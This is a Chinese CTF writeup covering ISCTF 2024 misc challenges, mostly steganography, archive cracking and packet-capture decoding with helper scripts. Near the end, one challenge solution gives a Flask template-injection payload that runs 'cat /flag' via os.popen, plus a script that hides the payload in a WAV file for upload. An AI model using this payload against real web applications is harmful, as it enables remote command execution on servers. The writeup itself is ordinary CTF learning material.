首页 > 其他分享 >ISCTF的MISC复现

ISCTF的MISC复现

时间:2024-11-17 17:56:24浏览次数:1  
标签:files MISC ISCTF content 复现 file wav output txt

  1. 小蓝鲨的签到02
    随波逐流

    识别问题加上IS即可
  2. 数字迷雾:在像素中寻找线索
    还是随波逐流

    加个}
  3. 小蓝鲨的签到01
    关注公众号发送ISCTF2024即可
  4. 小蓝鲨的问卷
    答完得flag
    5.少女的秘密花园
    随波逐流检测有隐藏文件foremost分离
    得到base_misc
    还有隐藏文件,用aapr纯数字爆开zip,得到flag.txt

    iv明显是个png转base64,我们转回去

    得到png,再次放进随波逐流,自动修复宽高

    最后盲文对照表

    得到,最后base32解密

    得到flag
    6.赢!rar
    360zip秒掉

    再随一下

    7.老八奇怪的自拍照
    根据题目521,rgb通道有个zip,save bin提取出来

    拖进010,删去多余部分并保存

    正常解压图片,在图片属性中找到密钥

    steghide解密得到flag.txt


    8.File_Format
    改zip后缀,aapr纯数字爆破出密码

    用bandizip智能解压


    9.watermark
    key1,文本水印https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html

    key2,图片盲水印

    得到FAAqDPjpgKJiB6m64oRvUfta9yJsBv
    打开zip
    搜索isctf即可

    10.秘密
    puzzlesolver,伪加密修复并强制解压得到jpg图片

    拖进010发现password:ISCTF2024

    接着用oursecret解密

    打开文件得到txt

    零宽隐写

    11.奇怪的txt
    根据题目叙述,我们找到约瑟夫环
    https://blog.csdn.net/code_welike/article/details/133056030
    https://blog.csdn.net/xiaoxi_hahaha/article/details/113036281?ops_request_misc=%257B%2522request%255Fid%2522%253A%252253372B34-A180-4A77-886E-4A3A53437B2F%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=53372B34-A180-4A77-886E-4A3A53437B2F&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-113036281-null-null.142v100pc_search_result_base2&utm_term=%E7%BA%A6%E7%91%9F%E5%A4%AB%E7%8E%AF&spm=1018.2226.3001.4187
    ai辅助编写排序脚本
点击查看代码
import os

def josephus_circle(num_files, step):
    files = list(range(1, num_files + 1))  # 文件编号从1到num_files
    result = []  # 用于存放挑选的文件编号
    index = 0  # 起始位置

    # 进行约瑟夫环的数数与挑选过程
    while files:
        index = (index + step - 1) % len(files)  # 计算挑选的位置
        result.append(files.pop(index))  # 将文件编号加入结果并从列表中移除

    return result

# 调用约瑟夫环函数得到文件顺序
selected_files = josephus_circle(137, 7)

# 设定要读取的文件夹路径
folder_path = r"C:\Users\Lenovo\Desktop\ISCTF\奇怪的txt"  # 请替换为您的文件夹路径

# 获取文件夹中的所有 .txt 文件
all_files = [f for f in os.listdir(folder_path) if f.endswith('.txt')]

# 确保文件名正确的顺序
ordered_files = []
for file_number in selected_files:
    file_name = f"{file_number}.txt"
    if file_name in all_files:
        ordered_files.append(file_name)

# 创建输出文件
with open("flag.txt", "w", encoding="utf-8") as output_file:
    for file_name in ordered_files:
        try:
            # 读取每个文件的内容
            with open(os.path.join(folder_path, file_name), "r", encoding="utf-8") as f:
                content = f.read().replace(" ", "")  # 删除所有空格
                content = "\n".join([line for line in content.splitlines() if line])  # 删除所有空行
                # 写入到输出文件中
                output_file.write(content + "\n")
        except FileNotFoundError:
            print(f"Warning: {file_name} not found and will be skipped.")

# 输出文件顺序
print("文件排列顺序:", ordered_files)
生成txt文件,接着在进行解密
点击查看代码
import base64

def recursive_base64_decode(encoded_content):
    try:
        # 尝试解码
        decoded_content = base64.b64decode(encoded_content)

        # 将解码后的内容转换为字符串
        decoded_str = decoded_content.decode('utf-8')

        # 如果解码后的内容仍然包含 Base64 标志字符,则递归解码
        if "==" in decoded_str or len(decoded_str) % 4 == 0:
            return recursive_base64_decode(decoded_str)
        else:
            return decoded_content

    except Exception as e:
        # 如果解码失败,说明已经解码完毕,返回当前内容
        return decoded_content

# 读取包含 Base64 编码内容的文件
with open('flag.txt', 'r') as file:
    encoded_content = file.read()

# 递归解码
decoded_content = recursive_base64_decode(encoded_content)

# 将最终解码后的内容保存为 key.bin
with open('key.bin', 'wb') as output_file:
    output_file.write(decoded_content)

print("解码完成,结果保存为 key.bin")

12.神秘的ping
拖进010,发现字符倒转,用filereverse倒转

发现是流量包,根据ping,找到https://blog.csdn.net/qy532846454/article/details/5429700
我们用tshark导出icmp到txt中
tshark -r inversion.pcap -Y "icmp.type == 8" -T fields -e ip.ttl > output.txt

接着将 63 替换为00,127替换为01,191替换为10,255替换为11 ,不换行

点击查看代码
# 读取输入文件,替换内容,并写入输出文件
def replace_values(input_file, output_file):
    # 创建一个替换字典
    replacements = {
        "63": "00",
        "127": "01",
        "191": "10",
        "255": "11"
    }

    with open(input_file, 'r') as file:
        content = file.read()

    # 替换值
    for old_value, new_value in replacements.items():
        content = content.replace(old_value, new_value)

    # 替换换行符为空
    content = content.replace('\n', '')

    # 将结果写入输出文件
    with open(output_file, 'w') as file:
        file.write(content)

# 调用函数
replace_values(r"C:\Users\Lenovo\Desktop\output.txt", 'aaa.txt')

得到二进制字符串,用puzzlesolver

13.像素圣战
根据名字,翻译成英文就想到pixeljihad
https://sekao.net/pixeljihad/

密码isctf2024

得到01二进制
puzzlesolver转字符

13.神秘的wav
通过题目上传题目给的音频得到路由source,访问发现源码,代码审计,发现render_template_string渲染音频内容,故纯在ssti,先创建一个空音频文件,然后再让ai写一段代码往音频里面写内容。
最终构造{{url_for.globals.os.popen('cat /flag').read()}}。

点击查看代码
import wave
import numpy as np


def embed_message(wav_file, message, output_file):
    # 将消息转换为二进制
    message_bits = ''.join(format(ord(c), '08b') for c in message)

    # 打开原始WAV文件
    with wave.open(wav_file, 'rb') as wav:
        params = wav.getparams()  # 获取WAV文件的参数
        frames = wav.readframes(wav.getnframes())  # 读取所有音频帧
        frames_array = bytearray(frames)  # 将音频帧转换为字节数组

    # 确保消息可以被嵌入,检查音频数据的长度是否足够
    if len(message_bits) > len(frames_array):
        raise ValueError("消息太长,无法嵌入到音频文件中!")

    # 遍历每一位消息并修改音频帧的最低有效位
    for i in range(len(message_bits)):
        if message_bits[i] == '1':
            frames_array[i] |= 0b00000010  # 将最低有效位置为1
        else:
            frames_array[i] &= 0b11111101  # 将最低有效位置为0

    # 创建新的WAV文件并保存修改后的音频数据
    with wave.open(output_file, 'wb') as output_wav:
        output_wav.setparams(params)  # 设置输出文件的参数
        output_wav.writeframes(bytes(frames_array))  # 写入修改后的音频帧

    print(f"消息成功嵌入到 {output_file} 文件中!")


# 示例使用
embed_message("test.wav", '{{url_for.__globals__.os.popen(\'cat /flag\').read()}}', '2.wav')

上传wav文件,得到flag

标签:files,MISC,ISCTF,content,复现,file,wav,output,txt
From: https://www.cnblogs.com/alexander17/p/18550822

相关文章

  • 2024鹏城杯-misc
    网安第一课改zip解压找到key1key26iMmn76ucYG9PDtsvu解压之后上脚本fromPILimportImageimages=[Image.open(f"{i}.png")foriinrange(1,38)]qr_code=Image.new("RGB",(128,128),(255,255,255))foriinrange(37):img1=images[i]......
  • find me-记一道misc题
    findme-记一道misc题首先给了四张图片第一张宽高有问题修复一下,之后感觉不对劲少了IDAT,修复一下49444154就好了修复好第一张图片之后发现了二维码ZmxhZ3s0X3在第二张图片发现了压缩包提取出来但解压不了需要把7Z换成PK解压之后在618发现1RVcmVfc第四张图片发现cExlX1BsY第五张Yz......
  • 2024六安市第二届网络安全大赛-misc
    六安市第二届网络安全大赛复现misc听说你也喜欢俄罗斯方块?ppt拼接之后缺三个角补上flag{qfnh_wergh_wqef}流量分析流量包分离出来一个压缩包出来一张图片黑色代表0白色代表11010101000rab反的压缩包转一下密码:拾叁拾陆叁拾贰陆拾肆密文:4p4n575851324332474r324753574o594n5n574651......
  • 2024网鼎杯青龙misc04
    2024网鼎杯misc04Misc04首先看到一个杂乱的图片不过这是一个皮亚诺曲线上脚本fromPILimportImagefromtqdmimporttqdmdefpeano(n):ifn==0:return[[0,0]]else:in_lst=peano(n-1)lst=in_lst.copy()px,py=lst[-1]......
  • 2024强网杯-misc
    2024强网杯-misc谍影重重5.0打开发现是SMB流量,从NTLM流中找到数据来解密。用NTLMRawUnhide这个脚本一键提取出数据。下载下来运行一下Hashcat直接爆破babygirl233再用smb流量脚本解密跑出key,再导入这个时候发现有flag的压缩包导出来压缩包需要密码,接着可以看到流量包还有rdp的流......
  • 2024第四届京津冀长城杯-misc
    2024第四届京津冀长城杯-miscBrickGame就连连看或者改图标会快一点吧漏洞探踪,流量解密第一阶段192.168.30.234第二阶段bdb8e21eace81d5fd21ca445ccb35071bdb8e21eace81d5fd21ca445ccb350715a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616dbdb8e21eace81d5fd21ca445ccb35071......
  • 2024羊城杯-misc
    2024羊城杯-miscmischiden将给出的txt文件先rot47解码,再rot13解码得到一个脚本importwavewithopen('flag.txt','rb')asf:txt_data=f.read()file_len=len(txt_data)txt_data=file_len.to_bytes(3,byteorder='little')+txt_datawithwav......
  • ISCTF2024-Crypto(不全)
    Crypto一开始有时间写了一点,原本不打算发的,但详细写了前面几题的wp,还是发一下。我和小蓝鲨的秘密fromPILimportImagefromCrypto.Util.numberimportbytes_to_long,long_to_bytesimportnumpyasnpn=29869349657224745144762606999e=65537original_image_p......
  • ISCTF2024-misc(部分)
    1.少女的秘密花园打开是个图片随波逐流binwalk一下分离得到一个zip,解压得到base_misc发现是zip爆破得到密码解压得到一个txt,将里面的数据base64转png得到png,png宽高隐写得到盲文对照,红色的是数字得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2Base32解密得到f......
  • 【EI复现】考虑灵活性的数据中心微网两阶段鲁棒规划方法(Matlab代码实现)
     ......